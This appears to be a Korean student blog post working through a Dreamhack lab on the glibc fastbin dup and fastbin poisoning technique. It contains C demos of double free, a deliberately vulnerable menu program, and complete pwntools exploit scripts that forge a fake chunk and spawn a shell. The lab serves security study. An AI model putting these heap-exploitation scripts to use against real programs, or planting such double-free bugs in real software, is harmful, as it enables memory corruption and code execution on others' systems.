혜랑's STORY

[Dreamhack] Heap Allocator Exploit : fastbin dup 본문

2021 SISS 21기 활동/2학시 시스템

[Dreamhack] Heap Allocator Exploit : fastbin dup

hyerang0125 2021. 9. 26. 18:24

fastbin dup

fastbin dup은 Double Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다. 이를 이용하면 fastbin의 FD 포인터를 조작해 임의 주소에 힙 청크를 할당할 수 있다.

그러나 이를 방지하기 위해 FD 포인터가 가리키는 영역의 size와 할당하려는 bin의 크기를 비교하는 코드가 존재한다. 해당 코드를 이해하고 우회하는 방법 또한 알아보자.

fastbin_dup.c
// gcc -o fastbin_dup fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>
int main(void){

  char *ptr1 = (char *)malloc(0x40);
  char *ptr2 = (char *)malloc(0x40);
  
  free(ptr1);
  free(ptr2);
  free(ptr1);
  
  fprintf(stderr, "malloc : %p\n", malloc(0x40));
  fprintf(stderr, "malloc : %p\n", malloc(0x40));
  fprintf(stderr, "malloc : %p\n", malloc(0x40));
  
  return 0;
  
}

위 코드는 ptr1을 두 번 해제해 fastbin freelist에 두 개의 동일한 주소를 삽입한 후 malloc 함수가 리턴하는 포인터를 확인하는 예제이다.

fastbin_dup의 실행 결과는 다음과 같다.

free 함수가 호출된 이후 첫 번째와 세 번째에 할당된 힙 청크의 주소가 동일한 것을 확인할 수 있다.


fastbin dup & poisoning

fastbin poisoning은 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당하는 공격 기법이다.

fastbin_dup1.c
// gcc -o fastbin_dup1 fastbin_dup1.c

#include <stdlib.h>
#include <stdio.h>

long win;

int main()
{
	long *ptr1, *ptr2, *ptr3, *ptr4;
    
	*(&win - 1) = 0x31;
    
	ptr1 = malloc(0x20);
	ptr2 = malloc(0x20);
    
	free(ptr1);
	free(ptr2);
	free(ptr1);
    
	ptr1 = malloc(0x20);
	ptr2 = malloc(0x20);
    
	ptr1[0] = &win - 2;
    
	ptr3 = malloc(0x20);
	ptr4 = malloc(0x20);
    
	ptr4[0] = 1;
    
	if(win) {
		printf("Win!\n");
	}
    
	return 0;
}

위 코드는 &win-1에 할당할 공격에 사용할 fastbin의 size인 0x31을 대입한 후 32 바이트 크기의 힙 청크를 할당ㅎ하고 해제하는 예제이다. 이대 line 20에서 Double Free 버그가 발생해 fastbin freelist에 두 개의 동일한 힙 청크 주소가 삽입된다.

이후 해제된 ptr1의 FD를 &win-2로 조작한다. 그리고 조작된 FD의 값이 fastbin freelist에서 참조하여 할당하도록 네 번의 할당 요청을 한 후 ptr4를 참조해 win 전역 변수의 값을 조작한다.

fastbin의 크기를 가진 힙을 할당할 때 다음과 같은 조건을 만족해야 한다.

/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))
idx = fastbin_index (nb);
...
if (victim != 0)
{
    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
        errstr = "malloc(): memory corruption (fast)";
        errout:
           malloc_printerr (check_action, errstr, chunk2mem (victim), av);
           return NULL;
    }
}
  • chunksize 매크로의 인자는 할당 요청이 들어온 힙 청크의 주소이다.
  • chunksize 매크로는 인자로 전달된 힙 청크의 크기를 구하고 이는 할당하려는 힙 청크의 크기가 fastbin과 일치하는지 검증한다.

위 fastvin_dup1.c 코드에서 0x31 값을 &win-1 위치에 씀으로써 위 조건을 만족하고, ptr4는 win 전역 변수 위치에 할당된다. 이처럼 메모리 할당자가 의도하지 않은 힙 청크를 Fake chunk라고 한다.

disassemble main 명령어 실행 후 bp 설정

ptr4를 할당하기 전에 win 전역변수에 Fake chunk를 구성한 모습을 보기 위해 main+146에 bp를 설정하고 프로그램을 실행하였다.

win 전역 변수에 할당하기 위해 size를 0x31로 조작한 것을 확인할 수 있다.

fastbin_dup1의 실행 결과는 다음과 같다.


fastbin_dup2.c
// gcc -o fastbin_dup2 fastbin_dup2.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];
int overwrite_me;

int main()
{
	int ch, idx;
	int i = 0;
	char *ptr[10];
    
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 2, 0);
    
	printf("Name : ");
	read(0, name, 16);
    
	while (1) {
		printf("> ");
		scanf("%d", &ch);
		switch(ch) {
			case 1: 
				if( i >= 10 ) {
					printf("Do not overflow\n");
					exit(0);
				} 
				ptr[i] = malloc(32);
				printf("Data: ");
				read(0, ptr[i], 32-1);
				i++;
				break;
			case 2:
				printf("idx: ");
				scanf("%d", &idx);
				free(ptr[idx]);
				break;
			case 3:
				if( overwrite_me == 0xDEADBEEF ) {
					system("/bin/sh");
				}
				break;
			default:
				break;
		}
	}
    
	return 0;
}

위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다. 익스플로잇 시나리오는 다음과 같다.

  1. 검증 우회를 위해 두 개의 힙을 할당한다.
  2. old와 p 포인터를 다르게 하여 Double Free를 발생시킨다.
  3. Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당한 overwrite_me 전역 변수의 주소를 FD 위치에 입력한다.
  4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다. overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.
fastbin_dup2_error.py
# fastbin_dup2_error.py

from pwn import *

p = process("./fastbin_dup2")

def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
    
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
    
def getshell():
	print p.sendlineafter(">","3")
    
elf = ELF('fastbin_dup2')

print p.sendlineafter("Name :", "AAAA")

add("AAAA") # 0
add("AAAA") # 1 

free(0)
free(1)
free(0)

overwrite_me_addr = elf.symbols['overwrite_me']

add(p64(overwrite_me_addr)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010

add("DDDD") # Arbitrary allocate, write

p.interactive()

위 코드는 Double Free를 이용해 fastbin dup을 하고, overwrite_me 전역 변수에 할당을 시도하기 위해 FD를 overwrite_me 전역 변수 주소로 조작했다. 이후에 조작한 FD를 참조하기 위해 힙을 네 번 할당했다.

실행한 모습이다.

이전에 설명한 조건을 만족하지 않았기 때문에 "malloc(): memory corruptiono (fast)" 메세지를 출력하고 비정상 종료한 것을 알 수 있다. 그렇다면 원하는 주소에 할당하기 위해서는 Fake chunk를 할당하려는 fastbin의 크기에 맞게 구성을 해주어야 한다. Fake chunk를 구성하기 위해 name 전역 변수를 사용할 수 있다.

name 전역 변수에 Fake chunk를 구성하여 overwrite_me 전역 변수에 힙 청크를 할당하고 0xDEADBEEF를 입력하여 셸을 획득할 수 있다.

Fake chunk 구성
fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)

 

fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunk의 prev_size에는 0을 입력하였다. 이후 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 입력하였다.

fake_chunk_name = elf.symbols['name']
add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010

pause()
add(p64(0xDEADBEEF)) # Arbitrary allocate, write

getshell()

위 코드와 같이, FD를 Fake chunk가 구성된 0x6010a0 주소로 조작한다면 검증을 우회한 후, 해당 주소에 힙 청크를 할당할 수 있게 된다. overwrite_me 전역 변수에 0xDEADBEEF를 입력하면 3번 메뉴를 통해 셸을 획득할 수 있게 된다.

fastbin_dup2.py
# fastbin_dup2.py 

from pwn import *

#context.log_level = 'debug'
p = process("./fastbin_dup2")

def add(data):
	print p.sendlineafter(">","1")
	print p.sendlineafter(":",str(data))
    
def free(idx):
	print p.sendlineafter(">","2")
	print p.sendlineafter(":",str(idx))
    
def getshell():
	print p.sendlineafter(">","3")
    
elf = ELF('fastbin_dup2')

fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter("Name :", fakechunk)

add("AAAA") # 0
add("AAAA") # 1 

free(0)
free(1)
free(0)

overwrite_me_addr = elf.symbols['overwrite_me']
fake_chunk_name = elf.symbols['name']

add(p64(fake_chunk_name)) # 0x602010 : FD overwrite
add("AAAA") # 0x602030
add("BBBB") # 0x602010

add(p64(0xDEADBEEF)) # Arbitrary allocate, write
getshell()

p.interactive()

위 코드를 실행하면 셸을 얻을 수 있다.